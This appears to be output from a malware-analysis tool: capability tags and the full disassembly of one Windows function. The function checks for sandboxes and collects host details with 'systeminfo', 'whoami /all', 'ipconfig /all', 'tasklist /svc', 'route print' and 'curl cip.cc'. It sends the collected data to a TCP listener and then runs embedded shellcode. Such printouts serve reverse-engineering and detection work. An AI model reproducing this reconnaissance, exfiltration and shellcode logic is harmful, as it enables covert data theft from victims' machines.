Function at 0x140002310
Capabilities:
Check for sandbox username or hostname
Enumerate process modules
Get hostname
Get session user name

Disassembly:
push rbp
push rdi
push rbx
sub rsp, 0xa60
lea rbp, [rsp + 0x80]
call sym.__main
lea rax, [rbp + 0x57f]
mov qword [rbp + 0x9c0], rax
nop
nop
lea rdx, [rbp + 0x57f]
lea rax, [rbp + 0x550]
mov r8, rdx
lea rdx, str.virustotal_n_n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
nop
call sym.check_wechat__
test al, al
je 0x140002377
lea rax, [rbp + 0x550]
lea rdx, str.WB_n_n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str.usb:
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
call sym.check_usb__
mov edx, eax
lea rax, [rbp + 0x580]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rdx, [rbp + 0x580]
lea rax, [rbp + 0x550]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x580]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
lea rax, [rbp + 0x550]
lea rdx, [0x1400122fd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, [0x1400122ff]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x5a0]
mov rcx, rax
call sym.check_mem_abi:cxx11___
lea rdx, [rbp + 0x5a0]
lea rax, [rbp + 0x550]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x5a0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
lea rax, [rbp + 0x550]
lea rdx, str.:
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x5c0]
mov rcx, rax
call sym.check_Resolution_abi:cxx11___
lea rdx, [rbp + 0x5c0]
lea rax, [rbp + 0x550]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x5c0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
lea rax, [rbp + 0x550]
lea rdx, str._n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str._______________________________n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str._____________cip.cc____________n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str._______________________________n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str._n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x62f]
mov qword [rbp + 0x9b8], rax
nop
nop
lea rdx, [rbp + 0x62f]
lea rax, [rbp + 0x600]
mov r8, rdx
lea rdx, str.curl_cip.cc
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x5e0]
lea rdx, [rbp + 0x600]
mov rcx, rax
call sym.executeCommand_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rdx, [rbp + 0x5e0]
lea rax, [rbp + 0x550]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x5e0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
lea rax, [rbp + 0x600]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
nop
lea rax, [rbp + 0x550]
lea rdx, str._n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str._______________________________n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str.___________username____________n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str._______________________________n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str._n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
mov dword [rbp + 0x43c], 0x101
lea rdx, [rbp + 0x43c]
lea rax, [rbp + 0x440]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_GetUserNameA]
call rax
test eax, eax
setne al
test al, al
je 0x14000268b
lea rax, [rbp + 0x67f]
mov qword [rbp + 0x9b0], rax
nop
nop
lea rcx, [rbp + 0x67f]
lea rdx, [rbp + 0x440]
lea rax, [rbp + 0x650]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x630]
lea rdx, [rbp + 0x650]
mov rcx, rax
call sym.GB2312ToUTF8_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rdx, [rbp + 0x630]
lea rax, [rbp + 0x550]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x630]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
lea rax, [rbp + 0x650]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
nop
lea rax, [rbp + 0x550]
lea rdx, [0x1400122cd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str._n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str._______________________________n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str.___________computer____________n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str._______________________________n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str._n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
mov dword [rbp + 0x41c], 0x10
lea rdx, [rbp + 0x41c]
lea rax, [rbp + 0x420]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetComputerNameA]
call rax
test eax, eax
setne al
test al, al
je 0x1400027bb
lea rax, [rbp + 0x6cf]
mov qword [rbp + 0x9a8], rax
nop
nop
lea rcx, [rbp + 0x6cf]
lea rdx, [rbp + 0x420]
lea rax, [rbp + 0x6a0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x680]
lea rdx, [rbp + 0x6a0]
mov rcx, rax
call sym.GB2312ToUTF8_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rdx, [rbp + 0x680]
lea rax, [rbp + 0x550]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x680]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
lea rax, [rbp + 0x6a0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
nop
lea rax, [rbp + 0x550]
lea rdx, [0x1400122cd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str._n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str._______________________________n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str.___________version_____________n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str._______________________________n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str._n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x3f0]
mov rcx, rax
call fcn.14000dd40
lea rax, str.ntdll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rbx, [rbp + 0x3e8]
lea rax, str.RtlGetVersion
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbx], rax
mov rax, qword [rbp + 0x3e8]
test rax, rax
je 0x140002964
mov dword [rbp + 0x2c0], 0x11c
mov rdx, qword [rbp + 0x3e8]
lea rax, [rbp + 0x2c0]
mov rcx, rax
call rdx
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_ostringstream_char__std::char_traits_char___std::allocator_char___::basic_ostringstream__
mov edx, dword [rbp + 0x2c4]
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::ostream::operator___unsigned_long_
mov rcx, rax
lea rax, [0x140012488]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [rbp + 0x2c8]
mov edx, eax
call sym.std::ostream::operator___unsigned_long_
mov rcx, rax
lea rax, [0x140012488]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [rbp + 0x2cc]
mov edx, eax
call sym.std::ostream::operator___unsigned_long_
mov rcx, rax
lea rax, [0x140012488]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
movzx eax, byte [rbp + 0x3da]
movzx eax, al
mov edx, eax
call sym.std::ostream::operator___int_
lea rax, [rbp + 0x6d0]
lea rdx, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_ostringstream_char__std::char_traits_char___std::allocator_char___::str___const_
lea rdx, [rbp + 0x6d0]
lea rax, [rbp + 0x3f0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x6d0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.140003668
lea rdx, [rbp + 0x3f0]
lea rax, [rbp + 0x550]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x550]
lea rdx, [0x1400122cd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str._n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str._______________________________n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str.______________________n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str._______________________________n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str._n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
movabs rax, 0x6e776f6e6b6e753c
mov qword [rbp + 0x1b0], rax
mov qword [rbp + 0x1b8], 0x3e
lea rdx, [rbp + 0x1c0]
mov eax, 0
mov ecx, 0x1e
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
mov rax, qword [sym.imp.USER32.dll_GetForegroundWindow]
call rax
mov qword [rbp + 0x9d8], rax
cmp qword [rbp + 0x9d8], 0
je 0x140002b07
lea rax, [rbp + 0x12c]
mov rcx, qword [rbp + 0x9d8]
mov rdx, rax
mov rax, qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
call rax
mov eax, dword [rbp + 0x12c]
mov r8d, eax
mov edx, 0
mov ecx, 0x410
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x9d0], rax
cmp qword [rbp + 0x9d0], 0
je 0x140002b07
lea rdx, [rbp + 0x11c]
lea rax, [rbp + 0x120]
mov rcx, qword [rbp + 0x9d0]
mov r9, rdx
mov r8d, 8
mov rdx, rax
call sym.K32EnumProcessModules
test eax, eax
setne al
test al, al
je 0x140002af4
mov rdx, qword [rbp + 0x120]
lea rcx, [rbp + 0x1b0]
mov rax, qword [rbp + 0x9d0]
mov r9d, 0x104
mov r8, rcx
mov rcx, rax
call sym.K32GetModuleBaseNameA
mov rax, qword [rbp + 0x9d0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp + 0x73f]
mov qword [rbp + 0x9a0], rax
nop
nop
lea rcx, [rbp + 0x73f]
lea rdx, [rbp + 0x1b0]
lea rax, [rbp + 0x710]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x6f0]
lea rdx, [rbp + 0x710]
mov rcx, rax
call sym.GB2312ToUTF8_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rdx, [rbp + 0x6f0]
lea rax, [rbp + 0x550]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x6f0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
lea rax, [rbp + 0x710]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
nop
lea rax, [rbp + 0x550]
lea rdx, [0x1400122cd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str._n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str._______________________________n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str.__________systeminfo___________n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str._______________________________n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str._n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x7af]
mov qword [rbp + 0x998], rax
nop
nop
lea rdx, [rbp + 0x7af]
lea rax, [rbp + 0x780]
mov r8, rdx
lea rdx, str.systeminfo
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x760]
lea rdx, [rbp + 0x780]
mov rcx, rax
call sym.executeCommand_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x740]
lea rdx, [rbp + 0x760]
mov rcx, rax
call sym.GB2312ToUTF8_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rdx, [rbp + 0x740]
lea rax, [rbp + 0x550]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x740]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
lea rax, [rbp + 0x760]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
lea rax, [rbp + 0x780]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
nop
lea rax, [rbp + 0x550]
lea rdx, str._n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str._______________________________n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str.___________tasklist____________n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str._______________________________n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str._n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x81f]
mov qword [rbp + 0x990], rax
nop
nop
lea rdx, [rbp + 0x81f]
lea rax, [rbp + 0x7f0]
mov r8, rdx
lea rdx, str.tasklist__svc
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x7d0]
lea rdx, [rbp + 0x7f0]
mov rcx, rax
call sym.executeCommand_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x7b0]
lea rdx, [rbp + 0x7d0]
mov rcx, rax
call sym.GB2312ToUTF8_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rdx, [rbp + 0x7b0]
lea rax, [rbp + 0x550]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x7b0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
lea rax, [rbp + 0x7d0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
lea rax, [rbp + 0x7f0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
nop
lea rax, [rbp + 0x550]
lea rdx, str._n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str._______________________________n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str.____________whoami_____________n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str._______________________________n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str._n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x88f]
mov qword [rbp + 0x988], rax
nop
nop
lea rdx, [rbp + 0x88f]
lea rax, [rbp + 0x860]
mov r8, rdx
lea rdx, str.whoami__all
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x840]
lea rdx, [rbp + 0x860]
mov rcx, rax
call sym.executeCommand_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x820]
lea rdx, [rbp + 0x840]
mov rcx, rax
call sym.GB2312ToUTF8_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rdx, [rbp + 0x820]
lea rax, [rbp + 0x550]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x820]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
lea rax, [rbp + 0x840]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
lea rax, [rbp + 0x860]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
nop
lea rax, [rbp + 0x550]
lea rdx, str._n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str._______________________________n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str.___________ipconfig____________n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str._______________________________n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str._n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x8ff]
mov qword [rbp + 0x980], rax
nop
nop
lea rdx, [rbp + 0x8ff]
lea rax, [rbp + 0x8d0]
mov r8, rdx
lea rdx, str.ipconfig__all
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x8b0]
lea rdx, [rbp + 0x8d0]
mov rcx, rax
call sym.executeCommand_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x890]
lea rdx, [rbp + 0x8b0]
mov rcx, rax
call sym.GB2312ToUTF8_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rdx, [rbp + 0x890]
lea rax, [rbp + 0x550]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x890]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
lea rax, [rbp + 0x8b0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
lea rax, [rbp + 0x8d0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
nop
lea rax, [rbp + 0x550]
lea rdx, str._n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str._______________________________n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str._____________route_____________n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str._______________________________n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x550]
lea rdx, str._n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x96e]
mov qword [rbp + 0x978], rax
nop
nop
lea rdx, [rbp + 0x96e]
lea rax, [rbp + 0x940]
mov r8, rdx
lea rdx, str.route_print
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x920]
lea rdx, [rbp + 0x940]
mov rcx, rax
call sym.executeCommand_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x900]
lea rdx, [rbp + 0x920]
mov rcx, rax
call sym.GB2312ToUTF8_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rdx, [rbp + 0x900]
lea rax, [rbp + 0x550]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x900]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
lea rax, [rbp + 0x920]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
lea rax, [rbp + 0x940]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
nop
lea rax, [rbp + 0x96f]
mov qword [rbp + 0x970], rax
nop
nop
lea rax, [rbp + 0x550]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.end__
mov rbx, rax
lea rax, [rbp + 0x550]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.begin__
mov rdx, rax
lea rcx, [rbp + 0x96f]
lea rax, [rbp + 0x190]
mov r9, rcx
mov r8, rbx
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___::vector___gnu_cxx::__normal_iterator_char__std::__cxx11::basic_string_char__std::char_traits_char___std.allocator_char_______void____gnu_cxx::__normal_iterator_char__std::__cxx11::basic_s
nop
lea rax, [rbp + 0x190]
mov rcx, rax
call sym.complete_data_std::vector_unsigned_char__std::allocator_unsigned_char____
lea rax, [rbp + 0x190]
mov rcx, rax
call sym.send_to_listener_tcp_std::vector_unsigned_char__std::allocator_unsigned_char____
movabs rax, 0xd231c931db31c031
mov qword [rbp + 0x130], rax
movabs rax, 0x336820206c6c6851
mov qword [rbp + 0x138], rax
movabs rax, 0x7265737568642e32
mov qword [rbp + 0x140], rax
movabs rax, 0x517c801d7bbbe189
mov qword [rbp + 0x148], rax
movabs rax, 0x81ef30675eb9d3ff
mov qword [rbp + 0x150], rax
movabs rax, 0x61685111111111c1
mov qword [rbp + 0x158], rax
movabs rax, 0x7373654d68426567
mov qword [rbp + 0x160], rax
movabs rax, 0x80ae40bb5051e189
mov qword [rbp + 0x168], rax
movabs rax, 0x52d231e189d3ff7c
mov qword [rbp + 0x170], rax
movabs rax, 0x50c031d0ff525151
mov qword [rbp + 0x178], rax
movabs rax, 0xd0ff7c81cb12b8
mov qword [rbp + 0x180], rax
lea rax, [rbp + 0x130]
mov qword [rbp + 0x9c8], rax
lea rax, [rbp + 0x130]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, str.Shellcode_Length_is_:__d
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x9c8]
call rax
lea rax, [rbp + 0x190]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
lea rax, [rbp + 0x3f0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
lea rax, [rbp + 0x550]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov eax, 0
jmp 0x140003547
add rsp, 0xa60
pop rbx
pop rdi
pop rbp
ret